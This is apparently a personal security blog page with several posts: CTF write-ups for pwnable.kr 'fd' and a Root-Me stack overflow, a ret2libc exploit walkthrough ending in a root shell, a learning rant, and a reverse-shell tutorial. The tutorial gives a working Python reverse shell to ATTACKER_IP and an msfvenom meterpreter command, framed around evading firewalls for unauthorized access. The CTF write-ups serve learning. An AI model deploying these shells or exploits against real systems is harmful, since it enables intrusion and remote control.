Search This Blog

Monday, April 25, 2022

fd - pwnable.kr (file descriptors & read() function) | pwn



CHALLENGE DESCRIPTION:

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)

This is my writeup for an easy pwn challenge that has to do with file descriptors and the read() function. using the SSH creds given, we log onto the server and we list the files in the current directory to see an executable file, the source code to the executable as well as the flag, owned by root, which stops us from cheating. The challenge needs to be complete to read the flag. Let's see the files provided to complete the challenge. play the wargame here.

fd@pwnable:~$ ls
fd  fd.c  flag

Let's see more about the fd executable file....

fd@pwnable:~$ file fd
fd: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
for GNU/Linux 2.6.24 BuildID[sha1]=c5ecc1690866b3bb085d59e87aad26a1e386aaeb, not stripped

Turns out the challenge is a 32bit ELF file, dynamically linked, meaning that it has libc libraries it refers to when executing built-in C functions like printf() and system() functions and its not stripped, which makes it easy to reverse engineer if it ever comes to that. Let's open the fd.c file to see how the program is written to analyze the code.

fd@pwnable:~$ cat fd.c
#include stdio.h
#include stdlib.h
#include string.h
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc < 2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

The goal is for the system("/bin/cat flag") to be executed to complete the challenge. For this to happen, we have to do some analysis on the code prior to this in order to see how we can achieve this. the source reveals a main() function which firstly checks if the command line arguments are two. if not it prints "pass argv[1] a number". If the arguments are two, it then goes forward to take the command line argument and passes it into the atoi() function which turns an ascii character to an integer. The next two lines show the 'len' variable contain zero. The next line pretty much shows the read() function at play. Looking into the manpages, we see the description of the function of the read() function

"The read() function shall attempt to read nbyte bytes from the file associated with the open file descriptor, 
fildes, into the buffer pointed to by buf"

Linux File descriptors are as follows:

0: stdin
1: stdout
2: stderr

This indicates that if we can get the fd = 0, the program will take input from stdin, then we can go on and input 'LETMEWIN' since there is a strcmp() function which compares the input places in buf with the string 'LETMEWIN'. The fd variable will take our command line argument and subtract it by 0x1234, which is 4660 in ascii text. To exploit this, we simply execute the fd binary and insert 4660 as a command line argument and after input the 'LETMEWIN' string in order for the strcmp() function check to evaluate to "True" (meaning the program must see that the string we put in and the string our input is compared to by the program evaluates to true so that the system() function executes the "/bin/cat flag" gets executed for the flag to be captured.

fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

Challenge completed! 

Flag: mommy! I think I know what a file descriptor is!!

Friday, April 15, 2022

Reverse Shells

Most linux administrators and even attackers have knowledge on how to navigate the command line, both in Windows and Linux systems. With respects to having to navigate file systems and look around a computer without the graphical user interface, we are used to, we make use of what we call a terminal. Most hackers who are proficient with linux mostly use the terminal to complete much more complicated tasks that the graphical user interface simply can't use. When an attacker has successfully enumerated and investigated the target system within the target network and finally needs the unauthorized remote access within the network, a reverse shell is simply what is used. A Reverse Shell, most technically referred to as a TCP Reverse Shell, is a program that opens a command shell such as sh or bash on a compromised system then connects back to an attacker-specified system to allow the attacker remote access of the command shell. 

Typically within networks, firewalls are put in place to prevent any incoming connections that will be coming from outside the respective network. For a normal shell session, the machine controlled by the attacker will actively have to connect to the victim machine within the target network... however the probability of this happening is very slim as the attacker is well aware that this will prove to be useless. An attacker has to ensure that his or her work to gain unauthorized access is as stealthy as possible. In modern networks that have firewalls in place to reject incoming traffic into the network and Intrusion Detection Systems, meant to pick up on any malicious activity will be able to see what is happening under the hood and detect that an attacker might be actively trying to establish a remote connection by directly connecting to the target. Instead of this happening, an attacker will instead investigate the target and find a means to gain unauthorized access to the network either via phishing attempts or vulnerability exploitation. When attempting to compromise a target system, an attacker may try to exploit a command injection vulnerability on the server system. The injected code will often be a reverse shell script to provide a convenient command shell for further malicious activities. This reverse shell will then cause the target system or server to connect to the attacker machine instead and establish a shell, thus bypassing firewall and IDS detection.

Below is an example of a reverse shell code written in python. This is done this way because when exploiting a vulnerability like command injection, this type of code would be inserted to allow the system to execute this code. This would then initialize the reverse shell so the target server will connect to the attacker controlled machine, essentially giving the attacker remote access. I would like to explain the vital parts of the code code below for the beginners or the curious.

user@kaizen:~$ cat revshell.py

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",ATTACKER_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

socket.socket(socket.AF_INET, socket.SOCK_STREAM) - If you're familiar with python programming, you'll be well aware that python has a socket library, which has functions and methods responsible for socket programming. This line calls for the socket() function within the socket library. Within the brackets are the parameters which are to be passed into the socket() function, which are the AF_INET, responsible for the Internet IP Address family which is IPV4. SOCK_STREAM is the socket type for TCP, the protocol used to transport messages in the network.

s.connect(("ATTACKER_IP",ATTACKER_PORT)) - this makes use of the connect() method within the socket library, and this is where the attacker will then specify the IP and PORT the attacker is responsible for.

p=subprocess.call([/bin/sh, "-i"]) - The subprocess module in Python is used to create new processes. This then calls the process /bin/sh, which is the path of where sh or bash is so it can be executed. This all happens on the attacker's machine in order to have remote /bin/bash access.

Other ways to create reverse shells is to craft payloads using executable binaries like .exe files for Windows. Best way to do this is using the Metasploit Framework.

Msfvenom is a command-line instance of The Metasploit Framework that is used to generate and output all of the various types of shellcode that are available in Metasploit. 

~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="ATTACKER_IP" LPORT="ATTACKER_PORT" -f exe revshell.exe

Flags: 

LHOST = (IP of Attacker Machine) 

LPORT = (PORT for the Attacker Machine) 

-p = (Payload I.e. Windows, Android, PHP etc.) 

F = file extension (i.e. windows=exe, android=apk etc.) 

o = “out file” to write to a location, which in this case is in the current working directory.

Once this executable file is dropped onto a remote target and executed, the reverse shell will be initiated, giving the attacker remote access.

Rounding Up

There are many other payloads and methods of initializing reverse shells for unauthorized remote access. This just gives a basic run down of how to do them in the simplest ways I know possible. Of course to be a successful hacker, intensive research is required within the domain of IT. This will allow you to have more creative approaches to create, drop reverse shells or even have your target execute reverse shells so you can have the remote access. Note that these methods (along with the others you will be researching cuz hacking is all about research) are also applicable for CTF challenges. Got more hacking tutorials comin up. Stay Tuned.

Sunday, April 10, 2022

Bypass NX | Ret2Libc Exploitation Trick | x64 Arch




We've looked at basic buffer overflows and we've seen how other memory regions can be overwritten to ultimately redirect program execution to whatever we want. As developers have become more aware to this type of attack, they have developed security mechanisms in place so that we as hackers won't be able to pull off such an attack. This paper will address this binary exploitation technique for bypassing the NX protection on x64-bit architecture on Linux. We know the stack based buffer overflow attack exploits a buffer which has been allocated on the stack....and that overwrite accesses different regions in memory, with the goal to overwrite RIP or EIP (for x32-bit systems) to inject either shellcode to spawn a root shell. With modern security protections in place, like NX such attacks are useless. NX, in more detail, is a security mechanism that, if turned on, allows the stack to be non-executable, which means that if we had to overwrite a buffer located on the stack, we wouldnt be able to execute any injected shellcode. There are other security protections such as ASLR (Address Stack Layout Randomization), Stack Canaries and RELRO... which will be discussed in future papers. Since NX protection is enabled, we will need to look for another mechanism to bypass this protection and spawn a root shell, and this trick is called ret2libc. This attack does not require an attacker to inject any shellcode, which is makes it more versatile. Whenever a C Program is written, there are functions such as printf(), scanf() etc. All these functions are identified because in C, there is a standard library that is called to access these functions, and that library is called the libc library. Libc is available on the system you're using to read this and is very independant as C written programs depend on it to for function. calls rather than the other way round. To illustrate this attack, you need to disable ASLR on your system in order for the ret2libc vulnerability search and exploitation is successful as ASLR randomizes the location of libc in memory....ultimately making it a hassle to execute flawlessly. If you happen to be following along, you will need access to a linux terminal as well as some additional tools such as pwntools, ROPGadgets and also the exact same version of the libc library.

user@kaizen:~/ret2libc-paper$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

The command above will disable ASLR on your linux system as ASLR is enabled by default. Consider the following:


#include stdio.h>

void receive_feedback()
{
    char buffer[64];

    puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
    gets(buffer);
}

int main()
{
    setuid(0);
    setgid(0);

    receive_feedback();

    return 0;
}

The code is simple. It has two functions which are main() and buffer(). The main() sets the user id to 0 as well as the group id to 0 as well (0 = root). It also calls on the receive_feedback() function which initializes a character buffer of 64 bytes, uses the gets() function, which is known to be a vulnerable function which fails to check if the user input has surpassed the number of bytes allocated on the buffer. We can go onwards and check the protections on the binary for confirmation.


user@kaizen:~/ret2libc-paper$ checksec --file vuln
[*] '/home/chris/writeups-by-kaizen/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Now that we've confirmed that NX is enabled, we can analyze in gdb to ensure that we overwrite the RIP (Instruction Pointer) as well as look for the offset of the system() function within the libc library in memory. We do this because any shellcode injected onto the stack won't execute because of the NX protection. Firstly, we can find the base address to the libc library using the ldd command. Like so:


user@kaizen:~/ret2libc-paper$ ldd ./vuln
        linux-vdso.so.1 (0x00007ffff7fca000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc7000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcc000)

The base address of libc is 0x00007ffff7dc7000. We will use this to craft the exploit later on. The next step will be to find the offset within this address towhere we can access the system() function and the exit() function. We can do this utilising the 'readelf' command in linux.


user@kaizen:~/ret2libc-paper$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
  1467: 0000000000049860    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

We now have the system() function offset within memory (0000000000049860). Now we look for the exit() function using the same command, just replacing "system" with "exit".


user@kaizen:~/ret2libc-paper$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "exit"
   139: 000000000003f100    26 FUNC    GLOBAL DEFAULT   15 exit@@GLIBC_2.2.5
   567: 00000000000caf20    72 FUNC    GLOBAL DEFAULT   15 _exit@@GLIBC_2.2.5
   626: 0000000000131680    37 FUNC    GLOBAL DEFAULT   15 svc_exit@GLIBC_2.2.5
   659: 0000000000138810    23 FUNC    GLOBAL DEFAULT   15 quick_exit@GLIBC_2.10
  2264: 000000000003f120   276 FUNC    WEAK   DEFAULT   15 on_exit@@GLIBC_2.2.5

Now we have the offset of the exit() function within the libc library in memory. We now have the address of system() and exit(). What next? Remember, we want to pop a root shell, so we will need to find the address of where '/bin/sh' is on order to pop a shell.


user@kaizen:~/ret2libc-paper$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 198882 /bin/sh

By using strings with the flags -a and -t with the libc library of the vulnerable executable, piping that to grep to look for the string "/bin/sh", we successfully leaked the address where the string /bin/sh is in memory. In x64-bit, we will not be able to pass the address of the string /bin/sh to the return pointer. We will need to put it in the RDI register. To do this, we will make use of rop gadgets.


user@kaizen:~/ret2libc-paper$ ropper --file vuln
========
GADGETS
========
0x0000000000401091: adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;                                                         
0x000000000040108a: adc dword ptr [rax], eax; mov rdi, 0x40117a; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;                                      
0x00000000004010fe: adc dword ptr [rax], edi; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                                       
0x0000000000401095: adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;            
0x00000000004010bc: adc edi, dword ptr [rax]; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                                       
0x0000000000401099: add ah, dh; nop dword ptr [rax + rax]; ret;                                                                                                           
0x0000000000401093: add bh, bh; adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;                                                                                     
0x000000000040100a: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;                                                                   
0x000000000040116e: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1040; nop; leave; ret;                                                                         
0x000000000040119d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1152; mov eax, 0; pop rbp; ret;                                                                
0x00000000004011a7: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;                                                                                         
0x00000000004010be: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                 
0x0000000000401100: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                 
0x0000000000401170: add byte ptr [rax], al; call 0x1040; nop; leave; ret;            
0x000000000040119f: add byte ptr [rax], al; call 0x1152; mov eax, 0; pop rbp; ret;                                                                                        
0x00000000004011a9: add byte ptr [rax], al; pop rbp; ret;                                                                                                                 
0x0000000000401212: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;                                                                                                  
0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax;                                                                                           
0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;                                     
0x00000000004010c0: add byte ptr [rax], al; test rax, rax; je 0x10d0; mov edi, 0x404048; jmp rax;                                                                         
0x0000000000401102: add byte ptr [rax], al; test rax, rax; je 0x1110; mov edi, 0x404048; jmp rax;                                                                         
0x0000000000401098: add byte ptr [rax], al; hlt; nop dword ptr [rax + rax]; ret;                                                                                          
0x000000000040109e: add byte ptr [rax], al; ret;                            
0x000000000040109d: add byte ptr [rax], r8b; ret;                                                                                                                         
0x0000000000401137: add byte ptr [rcx], al; pop rbp; ret;                                                                                                                 
0x0000000000401092: add dil, dil; adc eax, 0x2f56; hlt; nop dword ptr [rax + rax]; ret;                
0x0000000000401006: add eax, 0x2fed; test rax, rax; je 0x1012; call rax;                                                                                                  
0x0000000000401006: add eax, 0x2fed; test rax, rax; je 0x1012; call rax; add rsp, 8; ret;                                                                                 
0x0000000000401013: add esp, 8; ret;                                

These are the available rop gadgets we can use for our exploit. But we want to use the "pop rdi, ret" gadget in order to place the /bin/sh string into rdi. We can do that by using 'ropper' again, except that we can search for the type of gadget we want and it will print out the memory address of the gadget.


user@kaizen:~/ret2libc-paper$ ropper --file vuln --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: vuln
0x000000000040120b: pop rdi; ret; 

Now that we've found the rop gadget, we need to begin writing the exploit in order for us to lay all our findings. I will be using pwntools which makes exploit Development easier. Below is the full exploit to exploit the vulnerability and bypass NX.


user@kaizen:~/ret2libc-paper$ cat x.py 

#!/usr/bin/python3
from pwn import *

t = process('./vuln')
context.log_level = 'debug'

libc_addr = 0x00007ffff7dc7000
system_addr = libc_addr + 0x49860		// Added the offset of the system() in libc to the base address of libc
bin_sh = libc_addr + 0x198882

POP_RDI = 0x40120b				// "pop rdi, ret"

exploit = b'A' * 72				// padding. 64 + 8 additional bytes (x64) = 72 for RIP overwrite
exploit += p64(POP_RDI)				// ROP Gadget
exploit += p64(bin_sh)				// Address of /bin/sh() string in libc in memory
exploit += p64(system_addr)			// Address of system() function in libc
exploit += p64(0x0)				// return pointer

t.clean()
t.sendline(exploit)
t.interactive()

Now we run the exploit script


user@kaizen:~/ret2libc-paper$ python3 x.py 
[+] Starting local process './vuln': pid 87648
[DEBUG] Received 0x55 bytes:
    b"Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n"
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Sent 0x69 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  0b 12 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  82 f8 f5 f7  ff 7f 00 00  60 08 e1 f7  ff 7f 00 00  │····│····│`···│····│
    00000060  00 00 00 00  00 00 00 00  0a                        │····│····│·│
    00000069
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'root\n'
root
$  

WE NOW HAVE A ROOT SHELL!!! We successfully used the ret2libc technique to bypass NX and pop a root shell Successfully Exploited. This is my own official outlook on the ret2libc attack and would love to share more. 

Friday, March 11, 2022

MY JOURNEY!!!! A RANT lol. (My Struggles & Inspirations) [Wed, March 9, 2022 : 14:00:16]

As much as I aspire to have this blog be a centralized space where people in the Infosec community can reference my work and learn from it, I also want to be transparent and document my struggles and the topics I find challenging to learn.

To date, I have successfully managed to teach myself the core fundamentals of Cybersecurity and how to be proficient in the different skill-sets required to be a cybersecurity professional, both with the knowledge of defensive and offensive techniques to incorporate within the real world. Overtime, my aspirations have broadened and deepened as I've come to see more advanced subjects within. At the core, I've always wanted to be able to find 0-day vulnerabilities within commonly used technologies as well as create programs that can be utilized within the Infosec community. However, I'd be lying when I say that the journey has been easy. In as much as I have created this blog for public and personal documentation, I study Cyber-security and Software Development professionally, so the struggles with coming to grasp with the topics literally follow me everywhere. But knowing me, I hardly give up. From the time I decided to learn hacking, I decided that I would be diving in uncharted territory, embracing the uncomfortability of the process. Sometimes, However, I ask myself why the hell I chose such a profession. But I find myself answering myself with the answer: PASSION. Its simply passion and vision that drives me to continue forward. One thing I can definitely iterate is: Hacking is definitely not the way it looks on the Hollywood screens. It takes alot of time and brain power. Its one of those professions that require creativity because that has been the very element that has been the driving force in the progression of Information Security. Seeing professionals thrive in this profession is definitely eye candy, seems cool and all, but once you see the process of what it takes to get there LOLLL. Crazy. I spend weeks and weeks trying to solve a particular problem, with dozens of files an books and notes I've taken overtime. The knowledge sometimes doesn't seem to stick. It gets real frustrating. Headaches on Headaches on Headaches. 

The topics I'm currently struggling with are:

1. The intermediate and advanced analysis of assembly language for Reverse Engineering and Exploit Development.

2. Analyzing intermediate level assembly code on the stack & C code and finding vulnerabilities like format string vulns etc. (especially within CTFs)

3. Understanding socket programming both in C & Python

4. Understanding kernel level security.

5. OWASP top 10 client and server side vulnerabilities (especially SSTI's, CSRF's and all...)

6. Understanding Cryptography & Reverse Engineering Cryptographic Algorithms (like RSA, Xor .etc)

Whats with the rant bruv?

As this blog is meant for documentation of my progress with CTF's, it is also meant to educate myself in the long-run, a means of reinforcing the knowledge acquired, drilling it into my brain so i don't forget lol. I intend on being transparent with the process of learning the craft I've dedicated myself to learn. Alot of security focused blogs out there are fantastic to learn from. Many of them actually inspired me to create my blog and share my work with the world. However, it helps to have rants like these because most of the time, the content focuses on the end result, which is in this instance, the demonstration of the knowledge acquired. Sometimes, It helps to see the struggles you face within a certain topic being faced by someone else. It confirms that you necessarily aren't the only one who struggles with learning that topic. So in my defense, the rant was necessary to load off all the frustration trapped within. Also to show the people that read this that... yeah... Hacking is not for the faint hearted. WILL an purpose MUST BE YOUR FRIENDS otherwise you'll hardly get through it all. Below is an episode of Pwny-racing, a hacker race whereby 4 challengers are given a problem, which in these terms either code or binaries which have hidden vulnerabilities. These vulnerabilities are to be found and exploited. Keep in mind that these are gamified to a certain degree. But a professional hacker or security analyst typically go exactly the same route in real life. Its content like these really keeps me on my toes and shows me just how security is a myth. Everything in software or hardware has a flaw. One just needs to have the knowledge to find it. 

With the little knowledge I've acquired, I'm definitely grateful to myself for pushing through and having a higher view of what I want to achieve within the Cybersecurity Industry. Secondly, many people within the Infosec industry who continue to release infosec content and writeups that help script kiddies like me to learn as easily as possible. Below are Youtubers that I appreciate and have helped me aside from practice and crazy amounts of reading.

JohnHammond

CryptoCat

LiveOverflow

Ippsec

Purple F0x Security (Blog)

KindredSec

I didnt wanna go all out. I just want this to serve as a reminder that one must pass in the fire to get to the fountain. Often we get discouraged in learning blocks but we have to persevere and be more resilient. If you're in Information Security, be sure to keep moving forward and work towards your goals. 


Tuesday, March 8, 2022

ELF x86 - Stack buffer overflow basic 2 | Pwn Challenge Documentation #3

Back again with another walkthrough from Root-Me Hacking & Information Security Platform. Straight into it. We're provided with the challenge source code as well as the binary protections.

Binary protections NX is enabled, immediately indicating that any code we put onto the stack won't be executed. Reading through, the source code is provided so we can analyze it.

The source code of the challenge gives 3 functions within the binary. The main function, which is the most important function in C programs, shows a integer variable called 'var', a function pointer pointing to the function 'sup' and interestingly, a character buffer of 128 bytes. From that alone, we can see that this challenge will be a classic buffer overflow challenge. the next line introduces the fgets function, which takes in 133 bytes in total from standard input (stdin) and passes it into the buf variable. 

executing this binary, will only execute the main function. We see from the source that there is a shell function which gives us a shell (/bin/bash) in order for us to get the flag. The goal will be to use a buffer overflow attack to overwrite the instruction pointer and write the memory address of where the shell function is located, essentially redirecting execution to get a shell. 

Note: The memory address of the shell function can be found by loading the binary into GDB and typing 'p shell' to leak the address

I copied the source code and compiled the binary on my local machine but alternatively, Root-Me provides the SSH credentials to access the remote server to connect to and complete the challenge. 


To exploit this binary to get a root shell, we can utilize python located on the remote server to write 128 bytes of junk to the binary, plus the address of where the shell function is in memory, we can then pipe the output of that into the binary to exploit the binary. The 'cat' at the end simply a means to prevent any errors once we get a shell and executes any commands.

Exploit Code: (python -c 'print "A"*128 + "\x16\x85\x04\x08"';cat) | ./ch15

Flag: B33r1sSoG00D4y0urBr4iN